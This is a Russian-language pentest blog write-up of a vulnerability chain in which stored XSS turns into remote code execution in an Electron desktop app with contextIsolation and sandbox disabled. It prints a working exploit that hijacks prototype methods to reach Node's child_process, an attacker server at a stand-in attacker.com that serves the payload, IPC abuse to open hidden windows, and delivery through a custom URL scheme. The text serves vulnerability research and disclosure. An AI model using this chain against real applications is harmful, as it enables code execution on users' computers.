Уязвимости в Electron-приложениях: RCE через небезопасную конфигурацию

Автор баги: panyakor

Electron — популярный фреймворк для создания кроссплатформенных десктопных приложений с использованием веб-технологий. Однако неправильная конфигурация безопасности может привести к серьезным уязвимостям. В данной статье мы рассмотрим эксплуатацию приложений с отключенными параметрами contextIsolation: false и sandbox: false, что позволило нам выполнить произвольный код на целевой системе.

Архитектура Electron приложения

Прежде чем перейти к описанию найденных уязвимостей, рассмотрим сначала общую архитектуру приложений на Electron. А также разберем основные параметры конфигурации, которые оказывают влияние на безопасность.

Electron разделяет приложение на два основных типа процессов: основной процесс (main process) и процессы рендеринга (renderer processes).

Основной процесс является ключевой точкой входа в приложение и существует в единственном числе. Он имеет полный доступ к Node.js API, поэтому может выполнять операции с файловой системой, запускать подпроцессы и т.д. Также он управляет жизненным циклом приложения и реализует нативные функции, такие как контекстное меню, диалоговые окна, уведомления.

Основной процесс с помощью создания объектов класса BrowserWindow может порождать процессы рендеринга (Renderer Processes). Каждое окно (или вкладка) приложения запускает свой процесс рендеринга. Процесс рендеринга отображает веб-страницу и обрабатывает пользовательский интерфейс с помощью движка Chromium. Для безопасности, по умолчанию процессы рендеринга не имеют прямого доступа к Node.js API и общаются с основным процессом через IPC. Но это можно изменить через свойства объекта webPreferences при создании BrowserWindow.

Для связи между процессами рендеринга и основным процессом, а также для предоставления доступа к привилегированным API используются preload-скрипты. Они имеют доступ к Node.js API и всегда выполняются перед загрузкой веб-страницы в процессе рендеринга.

Рассмотрим основные настройки BrowserWindow, влияющие на безопасность этой архитектуры.

  • nodeIntegration (с версии 5 по умолчанию false) — при значении true предоставляет полный доступ к Node.js API из процессов рендеринга. В таком случае XSS = RCE.
  • contextIsolation (с версии 12 по умолчанию true) — при true изолирует контексты выполнения скриптов в процессах рендеринга и preload-скриптах (а также внутреннем API Electron). Не позволяя таким образом влиять на глобальные объекты (например window).
  • sandbox (с версии 20 по умолчанию true) — при значении true включает механизм песочницы для Chromium процессов, что накладывает дополнительные ограничения для процессов рендеринга средствами операционной системы (см. подробнее в https://chromium.googlesource.com/chromium/src/+/main/docs/design/sandbox.md).

Начало исследования: XSS как точка входа

На одной из страниц веб-приложения мы нашли уязвимый элемент, позволяющий исполнить произвольный JavaScript. Значение одного из параметров, контролируемое пользователем и сохраняемое в базе данных, небезопасно выводилось на странице с помощью innerHTML. Это приводило к возможности проведения XSS-атак, используя простую нагрузку:

<img/src/onerror=alert(origin)>

Помимо веб-версии, в область исследования также входило десктопное приложение на базе Electron. Electron-приложение использовало практически ту же версию сайта, и эта уязвимость там тоже воспроизводилась.

После распаковки ASAR-архива приложения через CLI-утилиту asar:

asar e app.asar source

Мы сразу обратили внимание на опасную конфигурацию главного окна (contextIsolation: false и sandbox: false), создаваемого в основном процессе при запуске приложения:

 new BrowserWindow({
    autoHideMenuBar: true,
    webPreferences: {
        devTools: true,
        nodeIntegration: false,
        nodeIntegrationInWorker: false,
        contextIsolation: false,
        preload: (0, path_1.join)(__dirname, 'preload.js'),
        backgroundThrottling: false
    }
})

Далее мы проанализировали скрипт preload.js на наличие методов, небезопасно использующих Electron API или Node.js API (например методы объектов shell, fs, child_process и т.п.). Но не нашли ничего интересного, кроме предоставления доступа к объекту ipcRenderer (используется для посылки сообщений в основной процесс), и получения информации о среде исполнения:

var electron_1 = require("electron");
var env_1 = require("../api/env");
var version = require('./../../package.json').version;

var electronApi = {
    ipc: electron_1.ipcRenderer,
    platform: env_1.default.OS,
    version: {
        app: version,
        node: process.versions.node,
        chrome: process.versions.chrome,
        electron: process.versions.electron
    },
    env: env_1.default
};

window.electronApi = electronApi;

Стоит также заметить, что в приложении использовался Electron 16-й версии (уже устаревший на тот момент).

В случае отключенной изоляции процессов через contextIsolation: false, в этой версии существует способ повлиять из процесса рендеринга на объекты Electron API в основном процессе таким образом, что в связке с sandbox: false это позволяет выполнить произвольный код на компьютере жертвы (источник: https://www.youtube.com/watch?v=Tzo8ucHA5xw).

Код эксплойта, использующий этот способ, выглядит следующим образом (операционная система жертвы: macOS):

const origEndsWith = String.prototype.endsWith;
String.prototype.endsWith = function(...args) {
  if (args && args[0] === 'MacOS/Electron') {
    String.prototype.endsWith = origEndsWith;
    return true;
  }
  return origEndsWith.apply(this, args);
};

const origCallMethod = Function.prototype.call;
Function.prototype.call = function(...args) {
  if (args[3] && args[3].name === '__webpack_require__') {
    const __webpack_require__ = args[3];
    __webpack_require__('module')._load('child_process').execSync('open -a Calculator');

    Function.prototype.call = origCallMethod;
  }
  return origCallMethod.apply(this, args);
};

Сначала он переопределяет метод endsWith в прототипе объекта String, чтобы пройти проверку для логирования информации о предупреждениях безопасности в консоль после загрузки страницы (по умолчанию работает только при запуске приложения через electron app_dir в процессе разработки).

См. https://github.com/electron/electron/blob/v16.2.8/lib/renderer/init.ts:

// Warn about security issues
if (process.isMainFrame) {
  const { securityWarnings } = require('@electron/internal/renderer/security-warnings') as typeof securityWarningsModule;
  securityWarnings(nodeIntegration);
}

См. https://github.com/electron/electron/blob/v16.2.8/lib/renderer/security-warnings.ts:

const shouldLogSecurityWarnings = function (): boolean {
  if (shouldLog !== null) {
    return shouldLog;
  }

  switch (platform) {
    case 'darwin':
      shouldLog = execPath.endsWith('MacOS/Electron') ||
                  execPath.includes('Electron.app/Contents/Frameworks/');
      break;
    case 'freebsd':
    case 'linux':
      shouldLog = execPath.endsWith('/electron');
      break;
    case 'win32':
      shouldLog = execPath.endsWith('\\electron.exe');
      break;
    default:
      shouldLog = false;
  }

  if ((env && env.ELECTRON_DISABLE_SECURITY_WARNINGS) ||
      (window && window.ELECTRON_DISABLE_SECURITY_WARNINGS)) {
    shouldLog = false;
  }

  if ((env && env.ELECTRON_ENABLE_SECURITY_WARNINGS) ||
      (window && window.ELECTRON_ENABLE_SECURITY_WARNINGS)) {
    shouldLog = true;
  }

  return shouldLog;
};

// ...

export function securityWarnings (nodeIntegration: boolean) {
  const loadHandler = async function () {
    if (shouldLogSecurityWarnings()) {
      const webPreferences = await getWebPreferences();
      logSecurityWarnings(webPreferences, nodeIntegration);
    }
  };
  window.addEventListener('load', loadHandler, { once: true });
}

Далее, при логировании в функции logSecurityWarnings выполняется функция warnAboutInsecureCSP, которая вызывает функцию isUnsafeEvalEnabled:

import { webFrame } from 'electron';

// ...

const isUnsafeEvalEnabled = () => {
  return webFrame._isEvalAllowed();
};

// ...

const warnAboutInsecureCSP = function () {
  if (!isUnsafeEvalEnabled()) return;

  const warning = This renderer process has either no Content Security
  Policy set or a policy with "unsafe-eval" enabled. This exposes users of
  this app to unnecessary security risks.\n${moreInformation};

  console.warn('%cElectron Security Warning (Insecure Content-Security-Policy)',
    'font-weight: bold;', warning);
};

// ...

const logSecurityWarnings = function (
  webPreferences: Electron.WebPreferences | undefined, nodeIntegration: boolean
) {
  warnAboutNodeWithRemoteContent(nodeIntegration);
  warnAboutDisabledWebSecurity(webPreferences);
  warnAboutInsecureResources();
  warnAboutInsecureContentAllowed(webPreferences);
  warnAboutExperimentalFeatures(webPreferences);
  warnAboutEnableBlinkFeatures(webPreferences);
  warnAboutInsecureCSP();
  warnAboutAllowedPopups();
};

Функция isUnsafeEvalEnabled обращается к модулю webFrame, который после сборки через webpack, подключается через вызов метода Function.prototype.call:

function ___electron_webpack_init__() {
        !function(e) {
            var t = {};
            function __webpack_require__(n) {
                if (t[n])
                    return t[n].exports;
                var r = t[n] = {
                    i: n,
                    l: !1,
                    exports: {}
                };
                return e[n].call(r.exports, r, r.exports, __webpack_require__),
                r.l = !0,
                r.exports
            }
            // ...
}

Cм. https://github.com/webpack/webpack/blob/de79ee457eb921e6e1b186c90c65590789a013ca/
lib/javascript/JavascriptModulesPlugin.js#L1430-L1445

В этом вызове четвертым аргументом (под именем __webpack_require__) передается функция require из Node.js API основного процесса приложения.

Переопределив функцию Function.prototype.call в эксплойте, мы можем по количеству аргументов и названию переданной четвертым аргументом функции, получить доступ к Node.js API из процесса рендеринга. Далее через этот require мы просто загружаем модуль child_process из Node.js API и запускаем калькулятор.

Попробовав этот эксплойт в нашем приложении, мы столкнулись с небольшой проблемой. Из-за того, что часть интерфейса с XSS-уязвимостью загружалась динамически, а проверка необходимости логировать информацию о предупреждениях безопасности происходит по наступлению события load, эксплойт переопределял методы в прототипах объектов Electron API слишком поздно.

Тут нам помог объект ipcRenderer, переданный в процесс рендеринга через свойство ipc глобального объекта electronApi в скрипте preload.js.

А также возможность создания и скрытия окон (объектов BrowserWindow) через обработчики событий IPC, объявленные в коде приложения (использовался модуль @electron/remote):

WinManager.js:

var electron_1 = require("electron");

function WinManager() {
    var _this = this;
    this.store = {};
    electron_1.ipcMain.on('CREATE_WINDOW', function (event, message) {
        var name = message.name, url = message.url, options = message.options;
        if (name && !Object.keys(_this.store).includes(name) && url) {
            // ...
            _this.createWindow(name, url, options || {});
        }
    });
}
// ...
WinManager.prototype.createWindow = function (name, url, config) {
    if (!this.store[name]) {
        this.store[name] = new BaseWindow(name, url, config);
    }
    return !!this.store[name];
};

BaseWindow.js:

// ...
var electron_1 = require("electron");
var mainRemote = require("@electron/remote/main");
// ...

function BaseWindow(name, url, config) {
    var _this = _super.call(this) || this;
    _this.name = name;
    // ...
    _this.win = _this.createWindow(config, false);
    _this.win.setMenuBarVisibility(false);
    _this.win.loadURL(url);
    electron_1.ipcMain.on("window.".concat(name), function (event, message) {
        if (message && message.action === 'window_control') {
            switch (message.payload.do) {
                // ...
                case 'hide':
                    _this.hide();
                    break;
                case 'show':
                    _this.show();
                    break;
                // ...
                default:
                    break;
            }
        }
        // ...
    }
};

// ...
BaseWindow.prototype.createWindow = function (config, focusListener) {
    // ...
    _this.win = new electron_1.BrowserWindow(__assign(__assign({}, config), _this.baseConfig));
    mainRemote.enable(_this.win.webContents);
    // ...
};

Код намеренно упрощен, и несмотря на то, что объект с настройками config передается в BrowserWindow, переопределить настройки webPreferences через него было нельзя.

Чтобы решить проблему с поздним срабатыванием эксплойта, мы можем создать новое окно приложения через посылку события CREATE_WINDOW в ipcRenderer:

electronApi.ipc.send('CREATE_WINDOW', { url: '/pwn_electron_page', name: 'test', options: {} });

После наступления события load у этого окна, в нем залогируются предупреждения безопасности и переопределенный нами метод Function.prototype.call приведет к RCE.

Сценарий атаки

Чтобы перейти от XSS к полноценному RCE, мы разместили на своем сервере https://attacker.com код, который импортировался при срабатывании события onerror в XSS-нагрузке:

app.get('/pwn_import', (req, res) => {
  res.set('content-type', 'text/javascript');
  res.set('access-control-allow-origin', '*');

  res.send(
    const origEndsWith = String.prototype.endsWith;
    String.prototype.endsWith = function(...args) {
      if (args && args[0] === 'MacOS/Electron') {
        String.prototype.endsWith = origEndsWith;
        return true;
      }

      return origEndsWith.apply(this, args);
    };

    const origCallMethod = Function.prototype.call;
    Function.prototype.call = function(...args) {
      if (args[3] && args[3].name === '__webpack_require__') {
        const __webpack_require__ = args[3];
    __webpack_require__('module')._load('child_process').execSync('open -a Calculator');
        Function.prototype.call = origCallMethod;
      }

      return origCallMethod.apply(this, args);
    };

    if (!location.href.includes('/pwn_electron_page')) {
      electronApi.ipc.send('CREATE_WINDOW', { url: 'https://attacker.com/pwn_electron_page', name: 'test', options: {} });
    } else {
      electronApi.ipc.send('window.test', { action: 'window_control', payload: { do: 'hide' } });
    }
  );
});

app.get('/pwn_electron_page', (req, res) => {
  res.set('content-type', 'text/html');
  res.send(<script src="/pwn_import"></script>);
});
  1. Злоумышленник внедряет XSS-нагрузку <img/src/onerror=import('https://attacker.com/pwn_import')> на странице созданной им маркетинговой кампании.
  2. При открытии страницы этой кампании жертвой в приложении, выполняется эксплойт, переопределяющий методы объектов прототипов Electron API.
  3. Через IPC событие CREATE_WINDOW открывается новое окно с URL https://attacker.com/pwn_electron_page и именем test.
  4. Срабатывает переопределенный вызов Function.prototype.call и открывается калькулятор.
  5. Открытое окно с именем test скрывается.

Эксплуатация через пользовательскую схему URL

Приложение поддерживало собственную схему ссылок customscheme://, что создавало дополнительный вектор атаки. Мы использовали эту функциональность для инициации атаки. Таким образом, полный сценарий атаки выглядел так:

  1. Мы создали специально сформированную ссылку вида customscheme:///campaigns/widget/<id>, где числовой параметр <id> указывал на идентификатор маркетинговой кампании, содержащей внедренный нами вредоносный код.
  2. При клике пользователя на такую ссылку операционная система автоматически запускала зарегистрированное Electron приложение и передавала ему параметры URL.
  3. Приложение обрабатывало полученный URL и загружало соответствующую маркетинговую кампанию, в контент которой нами был внедрен JavaScript‑код.
  4. Этот скрипт исполнялся сразу после загрузки кампании — без каких‑либо дополнительных действий со стороны пользователя или предупреждений системы.

Заключение

Данный случай наглядно показывает, к чему может привести несоблюдение базовых настроек безопасности в Electron-приложении. Даже одиночная XSS, в сочетании с отключенным contextIsolation, превращается в полноценную точку входа для RCE. Добавление кастомной схемы только упрощает атаку и делает её практически незаметной для пользователя. В подобных конфигурациях цена одной уязвимости значительно возрастает и с ней уже нельзя работать «по шаблону».

Пентест

Вы можете нанять одну из лучших команд хакеров в мире для проведения тестирования на проникновение.

Мы работаем как с крупными корпорациями, так и со стартапами, знаем про требования регуляторов, нужды бизнеса и реальные угрозы.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *